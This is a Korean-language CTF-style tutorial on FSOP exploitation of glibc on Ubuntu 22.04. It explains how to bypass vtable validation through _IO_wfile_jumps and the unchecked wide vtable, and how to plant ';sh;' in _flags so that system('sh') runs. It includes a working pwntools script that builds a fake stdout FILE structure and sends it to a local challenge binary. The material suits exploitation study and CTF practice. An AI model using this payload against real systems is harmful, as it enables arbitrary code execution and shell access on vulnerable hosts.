FSOP (Ubuntu 22.04)
libc 주소를 알고 있는 상황이기 때문에, libc에 존재하는 파일 구조체인 stdout에 overwrite함으로 rip와 rdi control을 시도할 수 있습니다.
AAW 이후에 puts함수를 호출하면서 stdout의 vtable에 있는 xsputn 함수 포인터의 코드를 실행시키게 됩니다(printf함수도 동일). 그러면 AAW를 통해 stdout 파일 구조체를 overwrite하여 vtable의 함수 포인터를 system을 가리키도록 하면 실행 흐름을 옮길 수 있습니다. 허나 Glibc가 업데이트 되면서 vtable에 검증 과정이 생겨났는데,
넘겨 받은 vtable이 libc의 vtable section 안에 존재하는지 검증합니다. 그래서 vtable을 fake table로 조작하게 된다면 이 검증을 통과하지 못합니다.
이 검증을 통과하기 위해서는 vtable section 내부에서 rip를 제어할 수단이 필요합니다.
대신에 vtable section 내부에는 wide_vtable을 참조하는 루틴이 있는데, wide vtable에서는 위와 같은 검증이 존재하지 않아 wide_vtable을 참조할 때 rip를 제어하는 것이 가능합니다.
본래 정상적인 file structure에서의 vtable 참조에서는
IO_sputn
→ IO_XSPUTN
→ JUMP2(__xsputn, …)
→ IO_JUMPS_FUNC(THIS)→__xsputn
을 호출하고
IO_JUMPS_FUNC(THIS)
에서 vtable 검증이 존재합니다.
하지만 __xputn
을 __overflow
가 되도록 덮어주면,
IO_sputn
→ IO_XPUTN
→ JUMP2(__xsputn, …)
→ IO_JUMPS_FUNC(THIS)→__xputn
에서 __xputn
대신 __overflow
가 위치에 있게 되는 것인데, overflow 역시 vtable section 안에 있기에 검증을 통과하고
IO__JUMPS_FUNC(THIS)→__xputn
에서 IO→wfile_overflow
를 호출하게 되고,
이는 다시 IO→wdoallocbuf
→ IO_WDOALLOCATE(fp)
순으로 실행 흐름이 넘어갑니다.
이러면 wide vtable로 실행이 넘어가게 되며 wide vtable에서는 검증이 존재하지 않아 여기서 fake table을 넣어주게 된다면 rip를 임의로 조작할 수 있게 됩니다.
인자의 경우에는 원하는 곳으로 rip가 넘어가기 직전에 _IO_WDOALLOCATE (fp) 호출로 인하여 fp에 해당하 stdout 주소가 rdi로 들어가게 되는데 이렇게 되면 File 구조체의 첫 번째 멤버 변수인 _flags를 변조함으로써 rdi에 sh문자열을 입력할 수 있게 됩니다.
이러한 FSOP 과정을 문제 환경(우분투 22.04 환경)의 libc에서 검증을 통과하도록 진행해주면 쉘을 획득할 수 있습니다.
검증을 통과하기 위한 제약 조건을 정리하면 다음과 같습니다.
- puts
fp->lock
→ rwfp->vtable->__xsputn == _IO_wfile_overflow
- _IO_wfile_overflow
fp->_flags & _IO_NO_WRITES == 0
fp->_flags & _IO_CURRENTLY_PUTTING == 0
fp->_wide_data->_IO_write_base == 0
- _IO_wdoallocbuf
fp->_wide_data->_IO_buf_base == 0
fp->_flags & _IO_UNBUFFERED == 0
fp->_wide_data->_wide_vtable_->__doallocate == libc_system
하나씩 살펴보겠습니다.
puts
- fp→lock : rw
- acquire lock을 하기 위해서는 lock 변수가 rw 가능한 영역을 가리키고 있어야 합니다.
- lock 변수에 stdout+0x10을 넣어주면 해결 가능합니다.
fp->vtable->__xsputn == _IO_wfile_overflow
- vtable 검증을 우회하기 위해서는 vtable 함수 포인터 값이 vtable section 안에 존재해야 합니다. 그래서 검증이 없는 wide vtable을 참조하는 vtable section 내부 루틴인 IO_wfile_overflow가 xsputn이 되도록 vtable을 맞춰줍니다.
fp->vtable = libc['_IO_wfile_jumps'] - 0x20
으로 설정하면fp->vtable->__xsputn == _IO_wfile_overflow
가 됩니다.- 이렇게 되면 puts에서 xsputn을 실행시킬 때, vtable 검증을 우회시키면서 wide vtable로 실행 흐름을 넘기게 되고, wide vtable에서는 vtable 검증이 존재하지 않으므로 wide vtable 값을 잘 조작해 주면 원하는 곳으로 실행 흐름을 옮길 수 있습니다.
_IO_wfile_overflow
f->_flags & _IO_NO_WRITES == 0
f->_flags & _IO_CURRENTLY_PUTTING == 0
f->_wide_data->_IO_write_base == 0
IO_wdoallocbuf (f)가 실행되어야 하기 때문에, if문에서 걸리는 제약조건은 다음과 같습니다.
_IO_wdoallocbuf
fp->_wide_data->_IO_buf_base == 0
fp->_flags & _IO_UNBUFFERED == 0
fp->_wide_data->_wide_vtable_->__doallocate == libc_system
IO_WDOALLOCATE (fp)가 실행되어야 하기 때문에, if문에서 걸리는 제약조건은 다음과 같습니다.
wfile_overflow와 wdoallocbuf의 제약 조건에서
flags 멤버 변수의 경우에는 sh 문자열이 들어가야 합니다. 문자열을 작성할 때, 해당 검증을 통과할 수 있도록 sh 문자열을 작성해야 합니다.
flag 멤버 변수의 제약 조건을 정리해 보면,
_flags & _IO_NO_WRITES == 0
_flags & _IO_CURRENTLY_PUTTING == 0
_flags & _IO_UNBUFFERED == 0
fp._flags = b"\x01\x01;sh;\x00\x00”
위와 같이 작성해 주면, 검증을 통과하면서 RDI에 쉘 문자열을 넣어줄 수 있습니다.
flag외에 _wide_data와 관련한 제약 조건들도 존재합니다. 정리해보면,
f->_wide_data->_IO_write_base == 0
fp->_wide_data->_IO_buf_base == 0
fp->_wide_data->_wide_vtable_->__doallocate == libc_system
wide data의 구조는 아래와 같은데,
*(wide_data+24 == 0), *(wide_data+48 == 0),
((wide_data + 224) + 104) == libc_system
이 조건을 만족하기 위해서, stdout을 재활용하겠습니다.
fp->_wide_data = &*IO_2_1_stdout* - 16
로 설정할 경우에,
*(wide_data+24 == 0)
, *(wide_data+48 == 0)
이 두 가지 조건을 충족시킬 수 있고
(wide_data+24가 stdout+8이 됨 → IO_read_ptr을 0으로 만들어 주면 됨)
(wide_data+48은 stdout+32가 됨 → IO_write_base를 0으로 만들어 주면 됨)
*(*(wide_data+224)+104)
의 경우에는 ((stdout→_unused2[12])+104)
가 됩니다.
여기서 stdout→_unused2[12]
에 &fp→_unused2-104
를 넣어주고, &fp→_unused2
에 libc_system 주소를 넣어주면
fp→_wide_data→wide_vtable→__doallocate == system
이 되도록 설정할 수 있습니다.
Skeleton Code
from pwn import *
p = process("./chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def slog(n, m): return success(': '.join([n, hex(m)]))
##########################################
# To Do
# libc base + system_addr + stdout_addr
stdout =
libc_base =
system_addr =
slog("libc base", libc_base)
slog("system address", system_addr)
##########################################
libc.address = libc_base
def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
FSOP += p64(__pad5) + p32(_mode)
if _unused2 == b"":
FSOP += b"\x00"*0x14
else:
FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
FSOP += p64(vtable)
FSOP += more_append
return FSOP
_IO_file_jumps = libc.symbols['_IO_file_jumps']
stdout = libc.symbols['_IO_2_1_stdout_']
log.info("stdout: " + hex(stdout))
FSOP = FSOP_struct(flags = u64(b"\x01\x01;sh;\x00\x00"), \
lock = libc.symbols['_IO_2_1_stdout_'] + 0x10, \
_IO_read_ptr = 0x0, \
_IO_write_base = 0x0, \
_wide_data = libc.symbols['_IO_2_1_stdout_'] - 0x10, \
_unused2 = p64(libc.symbols['system'])+ b"\x00"*4 + p64(libc.symbols['_IO_2_1_stdout_'] + 196 - 104), \
vtable = libc.symbols['_IO_wfile_jumps'] - 0x20, \
)
###### Arrange Code If you need ######
p.sendline(hex(stdout).encode('ascii'))
p.send(FSOP)
p.interactive()